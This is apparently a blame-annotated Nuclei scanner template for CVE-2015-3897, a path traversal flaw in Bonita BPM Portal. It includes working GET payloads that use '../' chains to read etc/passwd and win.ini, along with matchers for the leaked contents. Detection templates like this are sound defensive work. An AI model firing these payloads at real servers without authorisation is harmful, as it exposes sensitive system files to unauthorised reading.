2022-04-08 08:41:27 +00:00
id : CVE-2015-3897
2022-04-22 10:38:41 +00:00
2022-04-08 08:41:27 +00:00
info :
2022-06-09 20:35:21 +00:00
name : Bonita BPM Portal <6.5.3 - Local File Inclusion
2022-04-08 08:41:27 +00:00
author : 0x_Akoko
2023-07-11 19:49:27 +00:00
severity : medium
2022-06-09 20:35:21 +00:00
description : Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade Bonita BPM Portal to version 6.5.3 or later to mitigate the vulnerability.
2022-04-08 08:41:27 +00:00
reference :
- https://packetstormsecurity.com/files/132237/Bonita-BPM-6.5.1-Directory-Traversal-Open-Redirect.html
2022-04-09 19:01:56 +00:00
- https://www.bonitasoft.com/
2022-04-08 08:41:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2015-3897
2022-05-17 09:18:12 +00:00
- https://www.htbridge.com/advisory/HTB23259
2022-04-08 08:41:27 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score : 5
2022-04-08 08:41:27 +00:00
cve-id : CVE-2015-3897
cwe-id : CWE-22
2023-08-31 11:46:18 +00:00
epss-score : 0.83225
2023-12-12 11:07:52 +00:00
epss-percentile : 0.98132
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:bonitasoft:bonita_bpm_portal:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : bonitasoft
product : bonita_bpm_portal
2023-12-05 09:50:33 +00:00
tags : unauth,packetstorm,cve,cve2015,bonita,lfi,bonitasoft
2022-04-08 08:41:27 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-08 08:41:27 +00:00
- method : GET
path :
- "{{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd"
2022-04-09 19:01:56 +00:00
- "{{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini"
2022-04-08 08:41:27 +00:00
2022-04-09 19:01:56 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-04-09 19:01:56 +00:00
matchers-condition : or
2022-04-08 08:41:27 +00:00
matchers :
2022-04-09 19:01:56 +00:00
- type : word
part : body
words :
- "bit app support"
- "fonts"
- "extensions"
condition : and
2022-04-08 08:41:27 +00:00
- type : regex
regex :
2022-04-09 19:01:56 +00:00
- "root:[x*]:0:0:"
2023-12-29 09:30:44 +00:00
# digest: 4a0a00473045022100f166f87894929871da0a249591949d551feb8a59e23b35b7c0348aa0e149818e02203dc6bbbb1d0ec6cc49b5cfa60e0be43c5c529ef74e2954bb042cbf362d64dd01:922c64590222798bb761d5b6d8e72950